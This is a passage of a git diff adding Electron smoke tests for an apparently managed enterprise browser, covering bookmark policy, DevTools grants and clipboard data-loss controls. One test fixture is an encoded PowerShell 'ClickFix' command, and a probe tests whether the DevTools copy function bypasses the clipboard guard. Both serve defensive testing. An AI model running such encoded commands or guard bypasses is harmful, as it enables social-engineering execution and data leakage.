'../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-bookmarks-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false}; + store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run('synthetic-bookmark-device','Synthetic bookmark device','win32','synthetic-user','synthetic-unused',new Date().toISOString()); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/bookmarks-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('BOOKMARK_ADMIN_PROOF_OK'))console.log('Bookmark administrator interface workflow passed.');});child.stderr.on('data',data=>{const text=String(data);if(text.includes('BOOKMARK_ADMIN_PROOF_'))console.error(text.trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Bookmark administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,3);assert.deepEqual(policy.browser.bookmarks.managed.map(({title,url,folder})=>({title,url,folder})),[{title:'Company intranet',url:'https://intranet.synthetic.example/',folder:'Company'}]);assert.equal(policy.browser.bookmarks.adminReadUserBookmarks,false);assert.equal(store.personalBookmarks('synthetic-bookmark-device').revision,1);assert.equal(store.personalBookmarks('synthetic-bookmark-device').items[0].title,'Remote personal reference'); + const report={actualAdministratorUi:true,managedTableRoundtrip:true,explicitPublication:true,deviceReadEdit:true,revisionCompared:true,deviceEditGlobalPolicyUnchanged:true,privacyRevoked:true,nodeUnavailable:true,cspPreserved:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/bookmarks-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-bookmarks-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} diff --git a/scripts/bookmarks-browser-smoke.cjs b/scripts/bookmarks-browser-smoke.cjs new file mode 100644 index 0000000..13286d8 --- /dev/null +++ b/scripts/bookmarks-browser-smoke.cjs @@ -0,0 +1,31 @@ +const {app,BrowserWindow}=require('electron'); +const assert=require('node:assert/strict'); +app.setPath('userData',process.env.SAFETYNET_BOOKMARK_PROFILE);app.setPath('sessionData',process.env.SAFETYNET_BOOKMARK_PROFILE);app.disableHardwareAcceleration();process.env.SAFETYNET_SMOKE_USERDATA=process.env.SAFETYNET_BOOKMARK_PROFILE; +require('../apps/browser/main.cjs'); +const wait=ms=>new Promise(r=>setTimeout(r,ms)),deadline=setTimeout(()=>app.exit(1),110000); +app.whenReady().then(async()=>{try{ + let win;for(let i=0;i<150;i++){win=BrowserWindow.getAllWindows()[0];if(win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html'))break;await wait(100);}assert.ok(win); + const call=(name,input)=>win.webContents.executeJavaScript(`window.safetynet[${JSON.stringify(name)}](${JSON.stringify(input)??''})`),state=async()=>(await call('state')).data; + const result=await call('enroll',{server:process.env.SAFETYNET_BOOKMARK_SERVER,code:process.env.SAFETYNET_BOOKMARK_CODE});assert.equal(result.ok,true,result.error);assert.equal(result.data.ready,true); + const id=result.data.deviceId,headers={authorization:`Bearer ${process.env.SAFETYNET_BOOKMARK_ADMIN}`,'content-type':'application/json'},base=process.env.SAFETYNET_BOOKMARK_SERVER; + async function api(route,body,method=body?'POST':'GET'){const r=await fetch(base+route,{method,headers,body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};} + async function until(fn){for(let i=0;i<200;i++){if(await fn())return;await wait(100);}throw Error('Bookmark refresh timed out');} + async function mutate(action,bookmark){for(let i=0;i<20;i++){const s=await state();const r=await call('mutateBookmarks',{action,bookmark,expectedRevision:s.bookmarks.personal.revision,policyVersion:s.policyVersion});if(r.ok)return r;if(!/Management update in progress/.test(r.error||''))return r;await wait(100);}throw Error('Bookmark mutation unavailable');} + const initial=await state();assert.equal(initial.bookmarks.managed[0].id,'company-intranet');assert.equal(initial.bookmarks.personal.items.length,0); + assert.equal((await mutate('update',{...initial.bookmarks.managed[0],title:'User tamper'})).ok,false); + const personal={id:'personal-fixture',title:'Personal work link',url:process.env.SAFETYNET_BOOKMARK_ORIGIN+'personal',folder:'Work'};const added=await mutate('add',personal);assert.equal(added.ok,true,added.error);assert.equal(added.data.policyVersion,initial.policyVersion);assert.equal(added.data.bookmarks.personal.revision,1); + let adminRead=await api(`/api/admin/devices/${id}/bookmarks`);assert.equal(adminRead.status,200);assert.equal(adminRead.body.items[0].title,personal.title); + const otherCode=(await api('/api/admin/enrollments',{user:'public-other-user'})).body.code; + const other=(await api('/api/device/enroll',{code:otherCode,name:'Public other device',platform:'win32'})).body; + const edited={...personal,title:'Administrator edited work link',url:process.env.SAFETYNET_BOOKMARK_ORIGIN+'admin-edited'};const changed=await api(`/api/admin/devices/${id}/bookmarks`,{expectedRevision:adminRead.body.revision,policyVersion:initial.policyVersion,items:[edited]},'PUT');assert.equal(changed.status,200); + await until(async()=>{const s=await state();return s.ready&&s.bookmarks.personal.revision===2;});assert.equal((await state()).policyVersion,initial.policyVersion);assert.equal((await state()).bookmarks.personal.items[0].title,edited.title); + const otherBookmarks=await api(`/api/admin/devices/${other.id}/bookmarks`);assert.equal(otherBookmarks.status,200);assert.deepEqual(otherBookmarks.body.items,[]);assert.equal(otherBookmarks.body.revision,0); + const ui=await win.webContents.executeJavaScript("({company:document.getElementById('library-company')?.textContent,personal:document.getElementById('library-bookmarks')?.textContent})");assert.ok(JSON.stringify(ui).includes(edited.title),'Live authoritative bookmark missing from UI'); + async function publish(mutator){const current=(await api('/api/admin/overview')).body.policy;mutator(current);current.version++;assert.equal((await api('/api/admin/policy',current,'PUT')).status,200);await until(async()=>{const s=await state();return s.ready&&s.policyVersion===current.version;});return current.version;} + const lockedVersion=await publish(p=>{p.browser.bookmarks.allowUserAdd=false;p.browser.bookmarks.allowUserEdit=false;p.browser.bookmarks.allowUserDelete=false;});assert.equal((await mutate('update',personal)).ok,false);const s=await state();assert.equal((await call('mutateBookmarks',{action:'delete',id:personal.id,expectedRevision:s.bookmarks.personal.revision,policyVersion:lockedVersion})).ok,false); + adminRead=await api(`/api/admin/devices/${id}/bookmarks`);assert.equal((await api(`/api/admin/devices/${id}/bookmarks`,{expectedRevision:adminRead.body.revision,policyVersion:lockedVersion,items:[]},'PUT')).status,200);await until(async()=>(await state()).bookmarks.personal.revision===3); + await publish(p=>p.browser.settings.visible=false);assert.equal((await state()).bookmarks.managed[0].id,'company-intranet','Hiding settings removed required company links');assert.equal((await state()).bookmarks.allowUserAdd,false); + await publish(p=>p.browser.bookmarks.adminReadUserBookmarks=false);assert.equal((await api(`/api/admin/devices/${id}/bookmarks`)).status,403);assert.equal((await api(`/api/admin/devices/${id}/bookmarks`,{expectedRevision:3,policyVersion:(await state()).policyVersion,items:[personal]},'PUT')).status,403); + const events=(await api('/api/admin/overview')).body.events;assert.equal(JSON.stringify(events).includes(edited.title),false);assert.equal(JSON.stringify(events).includes(personal.url),false); + console.log(JSON.stringify({nativeBookmarks:true,managedReadOnly:true,personalRemoteEdit:true,revisionStablePolicy:true,permissionLocks:true}));clearTimeout(deadline);app.quit(); +}catch(error){console.error(JSON.stringify({nativeBookmarks:false,error:error.message}));clearTimeout(deadline);app.exit(1);}}); diff --git a/scripts/bookmarks-browser-smoke.mjs b/scripts/bookmarks-browser-smoke.mjs new file mode 100644 index 0000000..4a3d548 --- /dev/null +++ b/scripts/bookmarks-browser-smoke.mjs @@ -0,0 +1,22 @@ +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {createServer} from 'node:http'; +import {mkdtempSync,mkdirSync,writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {spawn} from 'node:child_process'; +import {randomBytes} from 'node:crypto'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +const temporary=mkdtempSync(join(tmpdir(),'safetynet-bookmarks-')),electron=createRequire(import.meta.url)('electron'); +let store,management,sink,child; +try{ + const admin=randomBytes(32).toString('base64url'),code=randomBytes(32).toString('base64url'); + sink=createServer((_req,res)=>res.end('Public bookmark fixture

Public company intranet fixture

')).listen(0,'127.0.0.1');await new Promise(r=>sink.once('listening',r)); + store=openStore(join(temporary,'db'));const policy=store.get('policy');policy.browser.homeUrl=`http://127.0.0.1:${sink.address().port}/`;policy.browser.allowedHosts=['127.0.0.1'];policy.browser.bookmarks.managed=[{id:'company-intranet',title:'Company intranet',url:policy.browser.homeUrl+'intranet',folder:'Company'}];store.put('policy',policy); + store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+60000,'public-bookmark-user'); + const config={publicUrl:'http://127.0.0.1',secure:false,adminToken:admin,requirePQManagement:true};management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>management.once('listening',r));config.publicUrl=`http://127.0.0.1:${management.address().port}`; + const env={...process.env,SAFETYNET_BOOKMARK_PROFILE:join(temporary,'browser'),SAFETYNET_BOOKMARK_SERVER:config.publicUrl,SAFETYNET_BOOKMARK_ADMIN:admin,SAFETYNET_BOOKMARK_CODE:code,SAFETYNET_BOOKMARK_ORIGIN:policy.browser.homeUrl};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(electron,['scripts/bookmarks-browser-smoke.cjs'],{windowsHide:true,stdio:'inherit',env});const timer=setTimeout(()=>child.kill(),120000);const status=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(status,0,'Native bookmarks proof failed'); + const report={native:true,companyBookmarksReadOnly:true,personalSynced:true,administratorRemoteEdit:true,deviceRevisionIsolated:true,policyVersionStableOnPersonalEdit:true,remotePermissionsEnforced:true,adminReadPermissionEnforced:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/bookmarks-browser-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{child?.kill();for(const server of [management,sink])if(server){server.closeAllConnections();await new Promise(r=>server.close(r));}store?.db.close();} diff --git a/scripts/browser.mjs b/scripts/browser.mjs new file mode 100644 index 0000000..c560fb7 --- /dev/null +++ b/scripts/browser.mjs @@ -0,0 +1,7 @@ +import { spawn } from 'node:child_process'; +import { createRequire } from 'node:module'; +const electron=createRequire(import.meta.url)('electron'); +const env={...process.env}; +for(const name of ['ADMIN_TOKEN','OIDC_CLIENT_SECRET','AI_API_KEY','INSPECTOR_TOKEN','SIEM_HTTP_TOKEN','SIEM_KEY_FILE'])delete env[name]; +const child=spawn(electron,['.'],{stdio:'inherit',env,windowsHide:true});child.on('exit',code=>process.exit(code??1)); +process.on('SIGINT',()=>child.kill());process.on('SIGTERM',()=>child.kill()); diff --git a/scripts/check.mjs b/scripts/check.mjs new file mode 100644 index 0000000..d7e0bb6 --- /dev/null +++ b/scripts/check.mjs @@ -0,0 +1,7 @@ +import { readdirSync } from 'node:fs'; +import { join } from 'node:path'; +import { spawnSync } from 'node:child_process'; +let failed=false; +function walk(dir){for(const entry of readdirSync(dir,{withFileTypes:true})){const p=join(dir,entry.name);if(entry.isDirectory())walk(p);else if(/\.(mjs|cjs|js)$/.test(p)){const result=spawnSync(process.execPath,['--check',p],{encoding:'utf8'});if(result.status!==0){console.error(result.stderr);failed=true;}}}} +for(const directory of ['apps','packages','scripts','tests'])walk(directory); +if(failed)process.exit(1);console.log('All JavaScript syntax checks passed.'); diff --git a/scripts/devtools-debugger-probe.cjs b/scripts/devtools-debugger-probe.cjs new file mode 100644 index 0000000..31bb6e5 --- /dev/null +++ b/scripts/devtools-debugger-probe.cjs @@ -0,0 +1,19 @@ +'use strict'; +if(!process.versions.electron){const {spawnSync}=require('node:child_process');const env={...process.env};delete env.ELECTRON_RUN_AS_NODE;const r=spawnSync(require('electron'),[__filename],{env,stdio:'inherit',windowsHide:true,timeout:20000});process.exit(r.status??1);} +else{ + const {app,BrowserWindow,WebContentsView,clipboard,ClipboardItem}=require('electron');const {attachPageClipboardGuard,disposePageClipboardGuard}=require('../apps/browser/page-clipboard-guard.cjs'); + app.enableSandbox();app.disableHardwareAcceleration(); + app.whenReady().then(async()=>{let win,view,original;try{ + win=new BrowserWindow({show:false});view=new WebContentsView({webPreferences:{sandbox:true,contextIsolation:true,nodeIntegration:false}});win.contentView.addChildView(view);await view.webContents.loadURL('about:blank'); + let failed=false;await attachPageClipboardGuard(view.webContents,()=>{failed=true;}); + await new Promise(resolve=>{view.webContents.once('devtools-opened',resolve);view.webContents.openDevTools({mode:'detach',activate:false});}); + await new Promise(r=>setTimeout(r,500)); + original=[];for(const item of await clipboard.read()){const data={};for(const type of item.types)data[type]=await item.getType(type);if(Object.keys(data).length)original.push(new ClipboardItem(data));} + const sentinel='SYNTHETIC_DEVTOOLS_DLP_BYPASS_PROBE';await clipboard.writeText('Public probe sentinel'); + const front=view.webContents.devToolsWebContents; + const host=await front.executeJavaScript(`(()=>{if(typeof InspectorFrontendHost==='undefined'||typeof InspectorFrontendHost.copyText!=='function')return false;InspectorFrontendHost.copyText(${JSON.stringify(sentinel)});return true;})()`); + await new Promise(r=>setTimeout(r,200)); + const result={devToolsOpened:view.webContents.isDevToolsOpened(),privateDebuggerAttached:view.webContents.debugger.isAttached(),guardFailure:failed,nativeFrontendCopyAvailable:host,frontendCopyBypassesSiteGuard:await clipboard.readText()===sentinel}; + require('node:fs').writeFileSync('artifacts/devtools-privilege-probe.json',JSON.stringify(result,null,2));console.log(JSON.stringify(result)); + }catch(e){console.error(e.message);process.exitCode=1;}finally{if(original!==undefined)await clipboard.write(original);if(view&&!view.webContents.isDestroyed()){disposePageClipboardGuard(view.webContents);view.webContents.closeDevTools();view.webContents.close({waitForBeforeUnload:false});}win?.destroy();app.exit(process.exitCode||0);}}); +} diff --git a/scripts/devtools-profile-smoke.cjs b/scripts/devtools-profile-smoke.cjs new file mode 100644 index 0000000..5eba042 --- /dev/null +++ b/scripts/devtools-profile-smoke.cjs @@ -0,0 +1,16 @@ +'use strict'; +const {app,BrowserWindow,webContents}=require('electron'),assert=require('node:assert/strict'),fs=require('node:fs');const {disposePageClipboardGuard}=require('../apps/browser/page-clipboard-guard.cjs'); +app.setPath('userData',process.env.SAFETYNET_DEVTOOLS_USERDATA);app.disableHardwareAcceleration();require('../apps/browser/main.cjs');const wait=ms=>new Promise(r=>setTimeout(r,ms));async function until(fn,label){for(let i=0;i<200;i++){if(await fn())return;await wait(100);}throw Error(label+' timed out');} +app.whenReady().then(async()=>{let win;try{ + await until(()=>{win=BrowserWindow.getAllWindows()[0];return win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html');},'Shell');const call=async(name,arg)=>{const result=await win.webContents.executeJavaScript(`window.safetynet[${JSON.stringify(name)}](${JSON.stringify(arg)})`);assert.equal(result.ok,true,result.error);return result.data;};const state=()=>call('state'); + await call('enroll',{server:process.env.SAFETYNET_DEVTOOLS_SERVER,code:process.env.SAFETYNET_DEVTOOLS_CODE});let page;await until(()=>{page=webContents.getAllWebContents().find(w=>w.getURL().startsWith(process.env.SAFETYNET_DEVTOOLS_SINK));return page&&!page.isLoading();},'Managed page'); + const toolsOpened=()=>BrowserWindow.getAllWindows().some(w=>w!==win&&w.isVisible()&&!w.webContents.isLoading()&&w.webContents.getURL().startsWith('devtools://devtools/bundled/'));const key=async(code,modifiers=[])=>{page.focus();page.sendInputEvent({type:'keyDown',keyCode:code,modifiers});page.sendInputEvent({type:'keyUp',keyCode:code,modifiers});await wait(300);}; + await key('F12');assert.equal(toolsOpened(),false,'Default policy opened DevTools'); + const api=async(path,method,body)=>{const r=await fetch(process.env.SAFETYNET_DEVTOOLS_SERVER+path,{method,headers:{authorization:`Bearer ${process.env.SAFETYNET_DEVTOOLS_ADMIN}`,'content-type':'application/json'},body:JSON.stringify(body)});assert.equal(r.status,200);return r.json();}; + await api('/api/admin/user-profile-configuration','PUT',{expectedVersion:1,categories:[],delegation:{devTools:true}});await api('/api/admin/user-profiles/developer','PUT',{expectedVersion:2,profile:{id:'developer',name:'Developer',deviceIds:[(await state()).deviceId],features:{devTools:'allow'}}}); + await until(async()=>{const s=await state();return s.ready&&s.policyVersion===3&&!page.isLoading();},'Signed developer grant'); + await key('F12');await until(()=>toolsOpened(),'Granted F12');assert.equal(page.debugger.isAttached(),true,'DevTools detached site security guard');assert.equal(win.webContents.isDevToolsOpened(),false,'Trusted chrome DevTools opened'); + await key('F12');await until(()=>!toolsOpened(),'F12 close');await key('I',['control','shift']);await until(()=>toolsOpened(),'Granted CtrlShiftI'); + await api('/api/admin/user-profiles/developer','DELETE',{expectedVersion:3});await until(async()=>{const s=await state();return s.policyVersion===4&&s.ready&&!toolsOpened();},'Live developer grant revocation');await key('F12');assert.equal(toolsOpened(),false,'Revoked developer grant reopened tools');assert.equal(page.debugger.isAttached(),true); + fs.mkdirSync('artifacts',{recursive:true});fs.writeFileSync('artifacts/devtools-profile-proof.json',JSON.stringify({actualNativeShortcut:true,defaultDenied:true,centralSignedProfileGranted:true,f12Opened:true,ctrlShiftIOpened:true,privateClipboardGuardRetained:true,trustedChromeToolsDenied:true,liveProfileRevocationClosed:true,revokedCannotReopen:true},null,2));console.log('Native developer profile deny/grant/revocation proof passed.'); +}catch(error){console.error(error.message);process.exitCode=1;}finally{for(const contents of webContents.getAllWebContents())if(contents!==win?.webContents&&!contents.isDestroyed())disposePageClipboardGuard(contents);app.exit(process.exitCode||0);}}); diff --git a/scripts/devtools-profile-smoke.mjs b/scripts/devtools-profile-smoke.mjs new file mode 100644 index 0000000..97fdce9 --- /dev/null +++ b/scripts/devtools-profile-smoke.mjs @@ -0,0 +1,8 @@ +import assert from 'node:assert/strict';import {createServer} from 'node:http';import {createRequire} from 'node:module';import {mkdtempSync,rmSync} from 'node:fs';import {tmpdir} from 'node:os';import {join,resolve,sep,basename} from 'node:path';import {spawn} from 'node:child_process';import {randomBytes} from 'node:crypto';import {createApp} from '../apps/server/app.mjs';import {openStore,digest} from '../apps/server/store.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-devtools-proof-'));let sink,server,store,child; +try{ + sink=createServer((_req,res)=>{res.setHeader('content-type','text/html');res.end('Developer fixture

Synthetic developer page

');}).listen(0,'127.0.0.1');await new Promise(r=>sink.once('listening',r));const sinkUrl=`http://127.0.0.1:${sink.address().port}`; + store=openStore(join(directory,'management'));const policy=store.get('policy');policy.browser.homeUrl=sinkUrl;policy.browser.allowedHosts=['127.0.0.1'];store.put('policy',policy);const code=randomBytes(32).toString('base64url'),adminToken=randomBytes(32).toString('base64url');store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'synthetic-developer');const config={adminToken,publicUrl:'http://127.0.0.1',secure:false};server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_DEVTOOLS_SERVER:config.publicUrl,SAFETYNET_DEVTOOLS_CODE:code,SAFETYNET_DEVTOOLS_ADMIN:adminToken,SAFETYNET_DEVTOOLS_SINK:sinkUrl,SAFETYNET_DEVTOOLS_USERDATA:join(directory,'browser'),SAFETYNET_SMOKE_USERDATA:join(directory,'browser')};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/devtools-profile-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',b=>process.stdout.write(b));child.stderr.on('data',b=>process.stderr.write(String(b).replaceAll(code,'[fixture enrollment]').replaceAll(adminToken,'[fixture admin]')));const timer=setTimeout(()=>child.kill(),90000);const exit=await new Promise(r=>{child.once('exit',c=>r(c??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(exit,0,'Native developer-profile proof failed'); +}finally{child?.kill();for(const service of [server,sink])if(service)await new Promise(r=>{service.closeAllConnections();service.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-devtools-proof-'))throw Error('Unsafe fixture cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100});} diff --git a/scripts/electron-smoke.cjs b/scripts/electron-smoke.cjs new file mode 100644 index 0000000..9390931 --- /dev/null +++ b/scripts/electron-smoke.cjs @@ -0,0 +1,284 @@ +const {app,BrowserWindow}=require('electron'); +const fs=require('node:fs'),path=require('node:path'),assert=require('node:assert/strict'); +fs.writeFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'smoke-entry.txt'),'Electron JavaScript started.\n'); +app.setPath('userData',process.env.SAFETYNET_SMOKE_USERDATA); +app.disableHardwareAcceleration(); +require('../apps/browser/main.cjs'); +const wait=ms=>new Promise(r=>setTimeout(r,ms)); +const log=message=>fs.appendFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'smoke-entry.txt'),message+'\n'); +app.whenReady().then(async()=>{ + try{ + fs.appendFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'smoke-entry.txt'),'Electron ready.\n'); + let win; + for(let n=0;n<100;n++){win=BrowserWindow.getAllWindows()[0];if(win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html'))break;await wait(100);} + await wait(300); + log('Reading initial shell state: '+win.webContents.getURL()); + const initial=await win.webContents.executeJavaScript('window.safetynet.state()');assert.equal(initial.data.ready,false); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.vaultCreate("fixture-master-password-only")')).ok,false,'Unenrolled vault access was allowed'); + log('Starting enrollment'); + const input={server:process.env.SAFETYNET_SMOKE_SERVER,code:process.env.SAFETYNET_SMOKE_CODE}; + const result=await win.webContents.executeJavaScript(`window.safetynet.enroll(${JSON.stringify(input)})`);assert.equal(result.ok,true,result.error);assert.equal(result.data.ready,true);assert.equal(result.data.brand.name,'Acme Secure Browser'); + await wait(600); + log('Enrollment passed; testing managed page'); + const page=win.contentView.children.find(v=>v.webContents!==win.webContents).webContents; + log('Managed page URL: '+page.getURL()); + const url=process.env.SAFETYNET_SMOKE_SINK; + const publicResult=await page.executeJavaScript(`fetch(${JSON.stringify(url+'/sink')},{method:'POST',body:'Public information'}).then(r=>r.text()).catch(e=>({error:e.message}))`); + log('Public request: '+JSON.stringify(publicResult));assert.equal(publicResult,'received'); + const blocked=await page.executeJavaScript(`fetch(${JSON.stringify(url+'/sink')},{method:'POST',body:'Secret Roadmap'}).then(()=>false).catch(()=>true)`);assert.equal(blocked,true); + const counts=await (await fetch(url+'/count')).json();assert.equal(counts.posts,1,'Secret payload reached the destination'); + log('Request blocking passed'); + // Real Chromium gestures and the Windows clipboard: never execute fixture commands. + const {clipboard}=require('electron'); + const originalClipboardText=await clipboard.readText(); + const clipboardSentinel='SafetyNet public clipboard fixture'; + async function clipboardKey(key,shift=false){page.focus();page.sendInputEvent({type:'keyDown',keyCode:key,modifiers:shift?['shift']:['control']});page.sendInputEvent({type:'keyUp',keyCode:key,modifiers:shift?['shift']:['control']});await wait(800);await clipboardWait(async()=>!(await win.webContents.executeJavaScript('window.safetynet.state()')).data.clipboardPending);} + async function clipboardWait(predicate){for(let attempt=0;attempt<200;attempt++){if(await predicate())return;await wait(100);}throw Error('Clipboard fixture operation timed out');} + async function selectClipboardText(text){await page.executeJavaScript(`(()=>{let node=document.getElementById('clipboard-source');if(!node){node=document.createElement('pre');node.id='clipboard-source';document.body.append(node)}node.textContent=${JSON.stringify(text)};const range=document.createRange();range.selectNodeContents(node);const selection=getSelection();selection.removeAllRanges();selection.addRange(range);})()`);} + try{ + await clipboard.writeText(clipboardSentinel); + await selectClipboardText('Public code example');await clipboardKey('C'); + await clipboardWait(async()=>await clipboard.readText()==='Public code example'); + assert.equal(await clipboard.readText(),'Public code example','Allowed native copy failed'); + await clipboard.writeText(clipboardSentinel);await selectClipboardText('Secret Roadmap');await clipboardKey('C'); + assert.equal(await clipboard.readText(),clipboardSentinel,'Blocked secret reached OS clipboard'); + await selectClipboardText('powershell -NoProfile -EncodedCommand VABFAFMAVAA=');await clipboardKey('C'); + assert.equal(await clipboard.readText(),clipboardSentinel,'ClickFix command reached OS clipboard'); + await selectClipboardText('SAFETYNET_BLOCK_TEST');await clipboardKey('C'); + assert.equal(await clipboard.readText(),clipboardSentinel,'YARA-blocked clipboard text reached OS clipboard'); + await page.executeJavaScript("document.addEventListener('copy',event=>{event.clipboardData.setData('text/plain','Secret Roadmap');event.preventDefault()},{once:true})"); + await selectClipboardText('Public selection despite hostile copy handler');await clipboardKey('C'); + assert.equal((await clipboard.readText()).includes('Secret Roadmap'),false,'Page copy handler bypassed inspection'); + await clipboard.writeText(clipboardSentinel); + await page.executeJavaScript("(()=>{const e=document.getElementById('public-input');e.value='';e.focus()})()");await clipboardKey('V'); + await clipboardWait(async()=>await page.executeJavaScript('document.getElementById("public-input").value')===clipboardSentinel); + assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),clipboardSentinel,'Allowed native paste failed'); + await clipboard.writeText('Secret Roadmap');await clipboardKey('V'); + assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),clipboardSentinel,'Secret was inserted by native paste'); + await page.executeJavaScript("(()=>{const e=document.getElementById('public-input');e.value='Secret Roadmap';e.focus();e.select()})()");await clipboard.writeText(clipboardSentinel);await clipboardKey('X'); + assert.equal(await clipboard.readText(),clipboardSentinel,'Blocked cut wrote OS clipboard');assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),'Secret Roadmap','Blocked cut deleted source'); + await page.executeJavaScript("(()=>{const e=document.getElementById('public-input');e.value='Public cut sample';e.focus();e.select()})()");await clipboardKey('Delete',true); + assert.equal(await clipboard.readText(),'Public cut sample','Allowed Shift+Delete cut failed');assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),'','Allowed cut preserved deleted selection'); + await clipboardKey('Insert',true); + assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),'Public cut sample','Allowed Shift+Insert paste failed'); + await clipboard.writeText(clipboardSentinel); + // Programmatic legacy copy must not acquire the native user gesture capability. + await selectClipboardText('Secret Roadmap');await page.executeJavaScript("document.execCommand('copy')",true);await wait(250); + assert.equal(await clipboard.readText(),clipboardSentinel,'Legacy scripted copy bypassed clipboard gate'); + const clipboardEvents=(await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers:{authorization:`Bearer ${process.env.SAFETYNET_SMOKE_ADMIN}`}})).json()).events.filter(event=>event.kind.startsWith('clipboard.')); + assert.ok(clipboardEvents.some(event=>event.kind==='clipboard.block'),'Clipboard blocks were not centrally audited'); + assert.equal(JSON.stringify(clipboardEvents).includes('Secret Roadmap'),false,'Clipboard contents appeared in audit records'); + assert.equal(JSON.stringify(clipboardEvents).includes('VABFAFMAVAA='),false,'Command contents appeared in audit records'); + log('Native clipboard: safe copy/paste allowed, confidential copy/paste/cut held, ClickFix execution command and hostile copy handler blocked'); + }finally{await clipboard.writeText(originalClipboardText);await page.executeJavaScript("document.getElementById('clipboard-source')?.remove();document.getElementById('public-input').value=''");} + const connection=await win.webContents.executeJavaScript('window.safetynet.agentConnection()');assert.equal(connection.ok,true,connection.error); + const agentRequest=path.join(process.env.SAFETYNET_SMOKE_USERDATA,'agent-request.json'); + async function localAgent(body){ + fs.writeFileSync(agentRequest,JSON.stringify(body)); + const child=require('node:child_process').spawn(process.execPath,['scripts/agent-client.cjs','--connection',connection.data.credentialPath,'--request',agentRequest],{stdio:['ignore','pipe','pipe'],windowsHide:true});let output='',errors='';child.stdout.on('data',c=>output+=c);child.stderr.on('data',c=>errors+=c); + const exit=await new Promise((resolve,reject)=>{child.on('exit',resolve);child.on('error',reject);});return {exit,output,errors}; + } + const sessionResult=await localAgent({action:'sessions'});assert.equal(sessionResult.exit,0,sessionResult.errors);const sessionId=JSON.parse(sessionResult.output).result[0].id;assert.match(sessionId,/^[0-9a-f-]{36}$/i);assert.equal(sessionId,(await win.webContents.executeJavaScript('window.safetynet.state()')).data.activeTabId); + const readResult=await localAgent({action:'read',args:{sessionId}});assert.equal(readResult.exit,0,readResult.errors);assert.equal(readResult.output.includes('never-export-this'),false); + const typeResult=await localAgent({action:'type',args:{sessionId,selector:'#public-input',text:'Agent typed public text'}});assert.equal(typeResult.exit,0,typeResult.errors);assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),'Agent typed public text'); + const deniedType=await localAgent({action:'type',args:{sessionId,selector:'#private-input',text:'forbidden'}});assert.equal(deniedType.exit,1); + log('Authenticated agent sessions, sanitized read, type and sensitive-field denial passed'); + async function agentApp(action,args={}){const response=await localAgent({action,args});assert.equal(response.exit,0,response.errors);return JSON.parse(response.output).result;} + const appStatus=await agentApp('application:state');assert.equal(appStatus.activeTabId,sessionId); + await agentApp('settings:update',{appearance:{mode:'dark'}});assert.equal((await 